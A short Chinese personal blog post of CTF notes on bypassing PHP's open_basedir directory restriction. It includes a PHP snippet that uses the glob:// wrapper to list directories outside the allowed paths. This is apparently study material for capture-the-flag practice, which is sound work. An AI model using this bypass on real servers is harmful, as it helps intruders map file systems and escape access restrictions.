Sgdream

Sgdream 个人分享博客

  • 主页
  • 关于
  • 随笔
所有文章 友链 关于我

Sgdream

Sgdream 个人分享博客

  • 主页
  • 关于
  • 随笔

【CTF】绕过 open_basedir 限制的各种思路记录

阅读数:0次 2019-05-18

预备知识


1
2
3
4
5
6
open_basedir 可将用户访问文件的活动范围限制在指定的区域
例如:open_basedir=/tmp/:/var/www/html
代表当前web可访问的文件路径只能为/tmp/内 或者/var/www/html 内的文件
可在 php.ini / .user.ini 文件配置
[?] 使用ini_set方式配置待测试。
[?] 是否可以在本地生成一个.user.ini 去替换配置

Glob 读取路径下所有文件夹方法


1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if ($dh = opendir('glob:///*')) {
while (($file = readdir($dh)) !== false) {
echo $file.' ';
}
closedir($dh);
}

$it = new DirectoryIterator('glob:///*');
foreach($it as $f) {
var_dump($f);
//@var_dump(@$f->getSize());
//printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
赏

谢谢你请我吃糖果

支付宝
  • ctf
  • php
  • web
  • open_basedir

扫一扫,分享到微信

微信分享二维码
【CTF】通过LD_PRELOAD 绕过php disable_function
【CTF】ctf-web-Pastebin-jwt-RS256-HS256
  1. 1. 预备知识
  2. 2. Glob 读取路径下所有文件夹方法
© 2019-2020 Sgdream
Hexo Theme Yilia by Litten
  • 所有文章
  • 友链
  • 关于我

tag:

  • 算法
  • 异或
  • 转载
  • ctf
  • php
  • disable_function
  • bypass
  • firefox
  • 工具
  • 插件
  • 油猴
  • 开发
  • web
  • apache
  • cache
  • open_basedir
  • python
  • 代码
  • 正则
  • mysql
  • writeup
  • 国赛
  • 2019强网杯
  • wp
  • User-Agent

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录(注意不是yilia根目录)执行以下命令:
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置:

      jsonContent:
        meta: false
        pages: false
        posts:
          title: true
          date: true
          path: true
          text: false
          raw: false
          content: false
          slug: false
          updated: false
          comments: false
          link: false
          permalink: false
          excerpt: false
          categories: false
          tags: true
    

  • 默小西
  • Angel_Kitty
  • FlexibleCat
I'am sgdream

信息安全爱好者
渴望在技术上每日都有所提升
寻找一起学习的朋友中。。。